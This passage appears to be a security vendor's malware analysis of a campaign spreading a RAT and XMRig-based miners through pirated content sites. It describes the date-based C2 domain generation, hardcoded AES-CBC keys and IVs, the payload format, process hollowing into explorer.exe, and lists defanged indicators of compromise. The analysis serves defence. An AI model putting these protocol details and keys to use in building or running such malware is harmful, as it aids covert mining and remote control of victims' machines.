The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space